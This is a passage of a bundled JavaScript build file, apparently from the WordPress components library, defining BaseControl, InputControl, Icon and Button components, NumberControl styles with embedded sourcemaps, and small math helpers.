26680 children: [label && id3 && (hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(component_default2, {
26681 as: "label",
26682 htmlFor: id3,
26683 children: label
26684 }) : /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(StyledLabel, {
26685 className: "components-base-control__label",
26686 htmlFor: id3,
26687 children: label
26688 })), label && !id3 && (hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(component_default2, {
26689 as: "label",
26690 children: label
26691 }) : /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(VisualLabel, {
26692 children: label
26693 })), children]
26694 }), !!help && /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(StyledHelp, {
26695 id: id3 ? id3 + "__help" : void 0,
26696 className: "components-base-control__help",
26697 children: help
26698 })]
26699 });
26700 };
26701 var UnforwardedVisualLabel = (props, ref) => {
26702 const {
26703 className: className2,
26704 children,
26705 ...restProps
26706 } = props;
26707 return /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(StyledVisualLabel, {
26708 ref,
26709 ...restProps,
26710 className: clsx_default("components-base-control__label", className2),
26711 children
26712 });
26713 };
26714 var VisualLabel = (0, import_element31.forwardRef)(UnforwardedVisualLabel);
26715 var BaseControl = Object.assign(contextConnectWithoutRef(UnconnectedBaseControl, "BaseControl"), {
26716 /**
26717 * `BaseControl.VisualLabel` is used to render a purely visual label inside a `BaseControl` component.
26718 *
26719 * It should only be used in cases where the children being rendered inside `BaseControl` are already accessibly labeled,
26720 * e.g., a button, but we want an additional visual label for that section equivalent to the labels `BaseControl` would
26721 * otherwise use if the `label` prop was passed.
26722 *
26723 * ```jsx
26724 * import { BaseControl } from '@wordpress/components';
26725 *
26726 * const MyBaseControl = () => (
26727 * <BaseControl help="This button is already accessibly labeled.">
26728 * <BaseControl.VisualLabel>Author</BaseControl.VisualLabel>
26729 * <Button>Select an author</Button>
26730 * </BaseControl>
26731 * );
26732 * ```
26733 */
26734 VisualLabel
26735 });
26736 var base_control_default = BaseControl;
26737
26738 // packages/components/build-module/utils/deprecated-36px-size.mjs
26739 var import_deprecated3 = __toESM(require_deprecated(), 1);
26740 function maybeWarnDeprecated36pxSize({
26741 componentName,
26742 __next40pxDefaultSize,
26743 size: size3,
26744 __shouldNotWarnDeprecated36pxSize
26745 }) {
26746 if (__shouldNotWarnDeprecated36pxSize || __next40pxDefaultSize || size3 !== void 0 && size3 !== "default") {
26747 return;
26748 }
26749 (0, import_deprecated3.default)(`36px default size for wp.components.${componentName}`, {
26750 since: "6.8",
26751 version: "7.1",
26752 hint: "Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."
26753 });
26754 }
26755
26756 // packages/components/build-module/input-control/index.mjs
26757 var import_jsx_runtime92 = __toESM(require_jsx_runtime(), 1);
26758 var noop5 = () => {
26759 };
26760 function useUniqueId2(idProp) {
26761 const instanceId = (0, import_compose5.useInstanceId)(InputControl);
26762 const id3 = `inspector-input-control-${instanceId}`;
26763 return idProp || id3;
26764 }
26765 function UnforwardedInputControl(props, ref) {
26766 const {
26767 __next40pxDefaultSize,
26768 __shouldNotWarnDeprecated36pxSize,
26769 __unstableStateReducer: stateReducer = (state) => state,
26770 __unstableInputWidth,
26771 className: className2,
26772 disabled = false,
26773 help,
26774 hideLabelFromVision = false,
26775 id: idProp,
26776 isPressEnterToChange = false,
26777 label,
26778 labelPosition = "top",
26779 onChange = noop5,
26780 onValidate = noop5,
26781 onKeyDown = noop5,
26782 prefix: prefix2,
26783 size: size3 = "default",
26784 style: style2,
26785 suffix,
26786 value,
26787 ...restProps
26788 } = useDeprecated36pxDefaultSizeProp(props);
26789 const id3 = useUniqueId2(idProp);
26790 const classes = clsx_default("components-input-control", className2);
26791 const draftHookProps = useDraft({
26792 value,
26793 onBlur: restProps.onBlur,
26794 onChange
26795 });
26796 const helpProp = !!help ? {
26797 "aria-describedby": `${id3}__help`
26798 } : {};
26799 maybeWarnDeprecated36pxSize({
26800 componentName: "InputControl",
26801 __next40pxDefaultSize,
26802 size: size3,
26803 __shouldNotWarnDeprecated36pxSize
26804 });
26805 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(base_control_default, {
26806 className: classes,
26807 help,
26808 id: id3,
26809 children: /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(input_base_default, {
26810 __next40pxDefaultSize,
26811 __unstableInputWidth,
26812 disabled,
26813 gap: 3,
26814 hideLabelFromVision,
26815 id: id3,
26816 justify: "left",
26817 label,
26818 labelPosition,
26819 prefix: prefix2,
26820 size: size3,
26821 style: style2,
26822 suffix,
26823 children: /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(input_field_default, {
26824 ...restProps,
26825 ...helpProp,
26826 __next40pxDefaultSize,
26827 className: "components-input-control__input",
26828 disabled,
26829 id: id3,
26830 isPressEnterToChange,
26831 onKeyDown,
26832 onValidate,
26833 paddingInlineStart: prefix2 ? space(1) : void 0,
26834 paddingInlineEnd: suffix ? space(1) : void 0,
26835 ref,
26836 size: size3,
26837 stateReducer,
26838 ...draftHookProps
26839 })
26840 })
26841 });
26842 }
26843 var InputControl = (0, import_element32.forwardRef)(UnforwardedInputControl);
26844 InputControl.displayName = "InputControl";
26845 var input_control_default = InputControl;
26846
26847 // packages/components/build-module/button/index.mjs
26848 var import_deprecated4 = __toESM(require_deprecated(), 1);
26849 var import_element34 = __toESM(require_element(), 1);
26850 var import_compose6 = __toESM(require_compose(), 1);
26851
26852 // packages/components/build-module/icon/index.mjs
26853 var import_element33 = __toESM(require_element(), 1);
26854 var import_primitives31 = __toESM(require_primitives(), 1);
26855
26856 // packages/components/build-module/dashicon/index.mjs
26857 var import_jsx_runtime93 = __toESM(require_jsx_runtime(), 1);
26858 function Dashicon({
26859 icon,
26860 className: className2,
26861 size: size3 = 20,
26862 style: style2 = {},
26863 ...extraProps
26864 }) {
26865 const iconClass = ["dashicon", "dashicons", "dashicons-" + icon, className2].filter(Boolean).join(" ");
26866 const sizeStyles3 = (
26867 // using `!=` to catch both 20 and "20"
26868 // eslint-disable-next-line eqeqeq
26869 20 != size3 ? {
26870 fontSize: `${size3}px`,
26871 width: `${size3}px`,
26872 height: `${size3}px`
26873 } : {}
26874 );
26875 const styles3 = {
26876 ...sizeStyles3,
26877 ...style2
26878 };
26879 return /* @__PURE__ */ (0, import_jsx_runtime93.jsx)("span", {
26880 className: iconClass,
26881 style: styles3,
26882 ...extraProps
26883 });
26884 }
26885 var dashicon_default = Dashicon;
26886
26887 // packages/components/build-module/icon/index.mjs
26888 var import_jsx_runtime94 = __toESM(require_jsx_runtime(), 1);
26889 function Icon({
26890 icon = null,
26891 size: size3 = "string" === typeof icon ? 20 : 24,
26892 ...additionalProps
26893 }) {
26894 if ("string" === typeof icon) {
26895 return /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(dashicon_default, {
26896 icon,
26897 size: size3,
26898 ...additionalProps
26899 });
26900 }
26901 if ((0, import_element33.isValidElement)(icon) && dashicon_default === icon.type) {
26902 return (0, import_element33.cloneElement)(icon, {
26903 ...additionalProps
26904 });
26905 }
26906 if ("function" === typeof icon) {
26907 return (0, import_element33.createElement)(icon, {
26908 size: size3,
26909 ...additionalProps
26910 });
26911 }
26912 if (icon && (icon.type === "svg" || icon.type === import_primitives31.SVG)) {
26913 const appliedProps = {
26914 ...icon.props,
26915 width: size3,
26916 height: size3,
26917 ...additionalProps
26918 };
26919 return /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_primitives31.SVG, {
26920 ...appliedProps
26921 });
26922 }
26923 if ((0, import_element33.isValidElement)(icon)) {
26924 return (0, import_element33.cloneElement)(icon, {
26925 // @ts-ignore Just forwarding the size prop along
26926 size: size3,
26927 width: size3,
26928 height: size3,
26929 ...additionalProps
26930 });
26931 }
26932 return icon;
26933 }
26934 var icon_default3 = Icon;
26935
26936 // packages/components/build-module/button/index.mjs
26937 var import_jsx_runtime95 = __toESM(require_jsx_runtime(), 1);
26938 var disabledEventsOnDisabledButton = ["onMouseDown", "onClick"];
26939 function useDeprecatedProps2({
26940 __experimentalIsFocusable,
26941 isDefault,
26942 isPrimary,
26943 isSecondary,
26944 isTertiary,
26945 isLink,
26946 isPressed,
26947 isSmall,
26948 size: size3,
26949 variant,
26950 describedBy,
26951 ...otherProps
26952 }) {
26953 let computedSize = size3;
26954 let computedVariant = variant;
26955 const newProps = {
26956 accessibleWhenDisabled: __experimentalIsFocusable,
26957 // @todo Mark `isPressed` as deprecated
26958 "aria-pressed": isPressed,
26959 description: describedBy
26960 };
26961 if (isSmall) {
26962 computedSize ??= "small";
26963 }
26964 if (isPrimary) {
26965 computedVariant ??= "primary";
26966 }
26967 if (isTertiary) {
26968 computedVariant ??= "tertiary";
26969 }
26970 if (isSecondary) {
26971 computedVariant ??= "secondary";
26972 }
26973 if (isDefault) {
26974 (0, import_deprecated4.default)("wp.components.Button `isDefault` prop", {
26975 since: "5.4",
26976 alternative: 'variant="secondary"'
26977 });
26978 computedVariant ??= "secondary";
26979 }
26980 if (isLink) {
26981 computedVariant ??= "link";
26982 }
26983 return {
26984 ...newProps,
26985 ...otherProps,
26986 size: computedSize,
26987 variant: computedVariant
26988 };
26989 }
26990 function UnforwardedButton(props, ref) {
26991 const {
26992 __next40pxDefaultSize,
26993 accessibleWhenDisabled,
26994 isBusy,
26995 isDestructive,
26996 className: className2,
26997 disabled,
26998 icon,
26999 iconPosition = "left",
27000 iconSize,
27001 showTooltip,
27002 tooltipPosition,
27003 shortcut,
27004 label,
27005 children,
27006 size: size3 = "default",
27007 text,
27008 variant,
27009 description,
27010 ...buttonOrAnchorProps
27011 } = useDeprecatedProps2(props);
27012 const {
27013 href,
27014 target,
27015 "aria-checked": ariaChecked,
27016 "aria-pressed": ariaPressed,
27017 "aria-selected": ariaSelected,
27018 ...additionalProps
27019 } = "href" in buttonOrAnchorProps ? buttonOrAnchorProps : {
27020 href: void 0,
27021 target: void 0,
27022 ...buttonOrAnchorProps
27023 };
27024 const instanceId = (0, import_compose6.useInstanceId)(Button3, "components-button__description");
27025 const hasChildren = "string" === typeof children && !!children || Array.isArray(children) && children?.[0] && children[0] !== null && // Tooltip should not considered as a child
27026 children?.[0]?.props?.className !== "components-tooltip";
27027 const truthyAriaPressedValues = [true, "true", "mixed"];
27028 const classes = clsx_default("components-button", className2, {
27029 "is-next-40px-default-size": __next40pxDefaultSize,
27030 "is-secondary": variant === "secondary",
27031 "is-primary": variant === "primary",
27032 "is-small": size3 === "small",
27033 "is-compact": size3 === "compact",
27034 "is-tertiary": variant === "tertiary",
27035 "is-pressed": truthyAriaPressedValues.includes(ariaPressed),
27036 "is-pressed-mixed": ariaPressed === "mixed",
27037 "is-busy": isBusy,
27038 "is-link": variant === "link",
27039 "is-destructive": isDestructive,
27040 "has-text": !!icon && (hasChildren || text),
27041 "has-icon": !!icon,
27042 "has-icon-right": iconPosition === "right"
27043 });
27044 const trulyDisabled = disabled && !accessibleWhenDisabled;
27045 const Tag = href !== void 0 && !disabled ? "a" : "button";
27046 const buttonProps = Tag === "button" ? {
27047 type: "button",
27048 disabled: trulyDisabled,
27049 "aria-checked": ariaChecked,
27050 "aria-pressed": ariaPressed,
27051 "aria-selected": ariaSelected
27052 } : {};
27053 const anchorProps = Tag === "a" ? {
27054 href,
27055 target
27056 } : {};
27057 const disableEventProps = {};
27058 if (disabled && accessibleWhenDisabled) {
27059 buttonProps["aria-disabled"] = true;
27060 anchorProps["aria-disabled"] = true;
27061 for (const disabledEvent of disabledEventsOnDisabledButton) {
27062 disableEventProps[disabledEvent] = (event) => {
27063 if (event) {
27064 event.stopPropagation();
27065 event.preventDefault();
27066 }
27067 };
27068 }
27069 }
27070 const shouldShowTooltip = !trulyDisabled && // An explicit tooltip is passed or...
27071 (showTooltip && !!label || // There's a shortcut or...
27072 !!shortcut || // There's a label and...
27073 !!label && // The children are empty and...
27074 !children?.length && // The tooltip is not explicitly disabled.
27075 false !== showTooltip);
27076 const descriptionId = description ? instanceId : void 0;
27077 const describedById = additionalProps["aria-describedby"] || descriptionId;
27078 const commonProps = {
27079 className: classes,
27080 "aria-label": additionalProps["aria-label"] || label,
27081 "aria-describedby": describedById,
27082 ref
27083 };
27084 const elementChildren = /* @__PURE__ */ (0, import_jsx_runtime95.jsxs)(import_jsx_runtime95.Fragment, {
27085 children: [icon && iconPosition === "left" && /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(icon_default3, {
27086 icon,
27087 size: iconSize
27088 }), text && /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(import_jsx_runtime95.Fragment, {
27089 children: text
27090 }), children, icon && iconPosition === "right" && /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(icon_default3, {
27091 icon,
27092 size: iconSize
27093 })]
27094 });
27095 const element = Tag === "a" ? /* @__PURE__ */ (0, import_jsx_runtime95.jsx)("a", {
27096 ...anchorProps,
27097 ...additionalProps,
27098 ...disableEventProps,
27099 ...commonProps,
27100 children: elementChildren
27101 }) : /* @__PURE__ */ (0, import_jsx_runtime95.jsx)("button", {
27102 ...buttonProps,
27103 ...additionalProps,
27104 ...disableEventProps,
27105 ...commonProps,
27106 children: elementChildren
27107 });
27108 const tooltipProps = shouldShowTooltip ? {
27109 text: children?.length && description ? description : label,
27110 shortcut,
27111 placement: tooltipPosition && // Convert legacy `position` values to be used with the new `placement` prop
27112 positionToPlacement(tooltipPosition)
27113 } : {};
27114 return /* @__PURE__ */ (0, import_jsx_runtime95.jsxs)(import_jsx_runtime95.Fragment, {
27115 children: [/* @__PURE__ */ (0, import_jsx_runtime95.jsx)(tooltip_default, {
27116 ...tooltipProps,
27117 children: element
27118 }), description && /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(component_default2, {
27119 children: /* @__PURE__ */ (0, import_jsx_runtime95.jsx)("span", {
27120 id: descriptionId,
27121 children: description
27122 })
27123 })]
27124 });
27125 }
27126 var Button3 = (0, import_element34.forwardRef)(UnforwardedButton);
27127 Button3.displayName = "Button";
27128 var button_default = Button3;
27129
27130 // packages/components/build-module/number-control/styles/number-control-styles.mjs
27131 function _EMOTION_STRINGIFIED_CSS_ERROR__8() {
27132 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
27133 }
27134 var _ref3 = false ? {
27135 name: "euqsgg",
27136 styles: "input[type='number']::-webkit-outer-spin-button,input[type='number']::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}input[type='number']{-moz-appearance:textfield;}"
27137 } : {
27138 name: "jl4rev-htmlArrowStyles",
27139 styles: "input[type='number']::-webkit-outer-spin-button,input[type='number']::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}input[type='number']{-moz-appearance:textfield;};label:htmlArrowStyles;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm51bWJlci1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtQlciLCJmaWxlIjoibnVtYmVyLWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgSW5wdXRDb250cm9sIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi8uLi9idXR0b24nO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmNvbnN0IGh0bWxBcnJvd1N0eWxlcyA9ICggeyBoaWRlSFRNTEFycm93cyB9OiB7IGhpZGVIVE1MQXJyb3dzOiBib29sZWFuIH0gKSA9PiB7XG5cdGlmICggISBoaWRlSFRNTEFycm93cyApIHtcblx0XHRyZXR1cm4gYGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGlucHV0W3R5cGU9J251bWJlciddOjotd2Via2l0LW91dGVyLXNwaW4tYnV0dG9uLFxuXHRcdGlucHV0W3R5cGU9J251bWJlciddOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdC13ZWJraXQtYXBwZWFyYW5jZTogbm9uZSAhaW1wb3J0YW50O1xuXHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0fVxuXG5cdFx0aW5wdXRbdHlwZT0nbnVtYmVyJ10ge1xuXHRcdFx0LW1vei1hcHBlYXJhbmNlOiB0ZXh0ZmllbGQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IElucHV0ID0gc3R5bGVkKCBJbnB1dENvbnRyb2wgKWBcblx0JHsgaHRtbEFycm93U3R5bGVzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU3BpbkJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmJiYmIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHR9XG5gO1xuXG5jb25zdCBzbWFsbFNwaW5CdXR0b25zID0gY3NzYFxuXHR3aWR0aDogJHsgc3BhY2UoIDUgKSB9O1xuXHRtaW4td2lkdGg6ICR7IHNwYWNlKCA1ICkgfTtcblx0aGVpZ2h0OiAkeyBzcGFjZSggNSApIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgc3R5bGVzID0geyBzbWFsbFNwaW5CdXR0b25zIH07XG4iXX0= */",
27140 toString: _EMOTION_STRINGIFIED_CSS_ERROR__8
27141 };
27142 var htmlArrowStyles = ({
27143 hideHTMLArrows
27144 }) => {
27145 if (!hideHTMLArrows) {
27146 return ``;
27147 }
27148 return _ref3;
27149 };
27150 var Input2 = /* @__PURE__ */ createStyled(input_control_default, false ? {
27151 target: "ep09it41"
27152 } : {
27153 target: "ep09it41",
27154 label: "Input"
27155 })(htmlArrowStyles, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm51bWJlci1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQzJDIiwiZmlsZSI6Im51bWJlci1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IElucHV0Q29udHJvbCBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCBCdXR0b24gZnJvbSAnLi4vLi4vYnV0dG9uJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCBodG1sQXJyb3dTdHlsZXMgPSAoIHsgaGlkZUhUTUxBcnJvd3MgfTogeyBoaWRlSFRNTEFycm93czogYm9vbGVhbiB9ICkgPT4ge1xuXHRpZiAoICEgaGlkZUhUTUxBcnJvd3MgKSB7XG5cdFx0cmV0dXJuIGBgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1pbm5lci1zcGluLWJ1dHRvbiB7XG5cdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdH1cblxuXHRcdGlucHV0W3R5cGU9J251bWJlciddIHtcblx0XHRcdC1tb3otYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZCggSW5wdXRDb250cm9sIClgXG5cdCR7IGh0bWxBcnJvd1N0eWxlcyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNwaW5CdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiYmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuY29uc3Qgc21hbGxTcGluQnV0dG9ucyA9IGNzc2Bcblx0d2lkdGg6ICR7IHNwYWNlKCA1ICkgfTtcblx0bWluLXdpZHRoOiAkeyBzcGFjZSggNSApIH07XG5cdGhlaWdodDogJHsgc3BhY2UoIDUgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHN0eWxlcyA9IHsgc21hbGxTcGluQnV0dG9ucyB9O1xuIl19 */"));
27156 var SpinButton = /* @__PURE__ */ createStyled(button_default, false ? {
27157 target: "ep09it40"
27158 } : {
27159 target: "ep09it40",
27160 label: "SpinButton"
27161 })("&&&&&{color:", COLORS.theme.accent, ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm51bWJlci1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvQzBDIiwiZmlsZSI6Im51bWJlci1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IElucHV0Q29udHJvbCBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCBCdXR0b24gZnJvbSAnLi4vLi4vYnV0dG9uJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCBodG1sQXJyb3dTdHlsZXMgPSAoIHsgaGlkZUhUTUxBcnJvd3MgfTogeyBoaWRlSFRNTEFycm93czogYm9vbGVhbiB9ICkgPT4ge1xuXHRpZiAoICEgaGlkZUhUTUxBcnJvd3MgKSB7XG5cdFx0cmV0dXJuIGBgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1pbm5lci1zcGluLWJ1dHRvbiB7XG5cdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdH1cblxuXHRcdGlucHV0W3R5cGU9J251bWJlciddIHtcblx0XHRcdC1tb3otYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZCggSW5wdXRDb250cm9sIClgXG5cdCR7IGh0bWxBcnJvd1N0eWxlcyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNwaW5CdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiYmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuY29uc3Qgc21hbGxTcGluQnV0dG9ucyA9IGNzc2Bcblx0d2lkdGg6ICR7IHNwYWNlKCA1ICkgfTtcblx0bWluLXdpZHRoOiAkeyBzcGFjZSggNSApIH07XG5cdGhlaWdodDogJHsgc3BhY2UoIDUgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHN0eWxlcyA9IHsgc21hbGxTcGluQnV0dG9ucyB9O1xuIl19 */"));
27162 var smallSpinButtons = /* @__PURE__ */ css("width:", space(5), ";min-width:", space(5), ";height:", space(5), ";" + (false ? "" : ";label:smallSpinButtons;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm51bWJlci1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwQzRCIiwiZmlsZSI6Im51bWJlci1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IElucHV0Q29udHJvbCBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCBCdXR0b24gZnJvbSAnLi4vLi4vYnV0dG9uJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCBodG1sQXJyb3dTdHlsZXMgPSAoIHsgaGlkZUhUTUxBcnJvd3MgfTogeyBoaWRlSFRNTEFycm93czogYm9vbGVhbiB9ICkgPT4ge1xuXHRpZiAoICEgaGlkZUhUTUxBcnJvd3MgKSB7XG5cdFx0cmV0dXJuIGBgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1pbm5lci1zcGluLWJ1dHRvbiB7XG5cdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdH1cblxuXHRcdGlucHV0W3R5cGU9J251bWJlciddIHtcblx0XHRcdC1tb3otYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZCggSW5wdXRDb250cm9sIClgXG5cdCR7IGh0bWxBcnJvd1N0eWxlcyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNwaW5CdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiYmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuY29uc3Qgc21hbGxTcGluQnV0dG9ucyA9IGNzc2Bcblx0d2lkdGg6ICR7IHNwYWNlKCA1ICkgfTtcblx0bWluLXdpZHRoOiAkeyBzcGFjZSggNSApIH07XG5cdGhlaWdodDogJHsgc3BhY2UoIDUgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHN0eWxlcyA9IHsgc21hbGxTcGluQnV0dG9ucyB9O1xuIl19 */");
27163 var styles = {
27164 smallSpinButtons
27165 };
27166
27167 // packages/components/build-module/utils/math.mjs
27168 function getNumber(value) {
27169 const number2 = Number(value);
27170 return isNaN(number2) ? 0 : number2;
27171 }
27172 function add(...args) {
27173 return args.reduce(
27174 /** @type {(sum:number, arg: number|string) => number} */
27175 (sum, arg) => sum + getNumber(arg),
27176 0
27177 );
27178 }
27179 function subtract(...args) {
27180 return args.reduce(
27181 /** @type {(diff:number, arg: number|string, index:number) => number} */
27182 (diff, arg, index2) => {
27183 const value = getNumber(arg);
27184 return index2 === 0 ? value : diff - value;
27185 },
27186 0
27187 );
27188 }
27189 function getPrecision(value) {
27190 const split = (value + "").split(".");
27191 return split[1] !== void 0 ? split[1].length : 0;
27192 }
27193 function clamp4(value, min3, max3) {
27194 const baseValue = getNumber(value);
27195 return Math.max(min3, Math.min(baseValue, max3));
27196 }
27197 function ensureValidStep(value, min3, step) {
27198 const baseValue = getNumber(value);
27199 const minValue = getNumber(min3);
27200 const stepValue = getNumber(step);
27201 const precision = Math.max(getPrecision(step), getPrecision(min3));
27202 const tare = minValue % stepValue ? minValue : 0;
27203 const rounded3 = Math.round((baseValue - tare) / stepValue) * stepValue;
27204 const fromMin = rounded3 + tare;
27205 return precision ? getNumber(fromMin.toFixed(precision)) : fromMin;
27206 }
27207
27208 // packages/components/build-module/h-stack/utils.mjs
27209 var H_ALIGNMENTS = {
27210 bottom: {
27211 align: "flex-end",
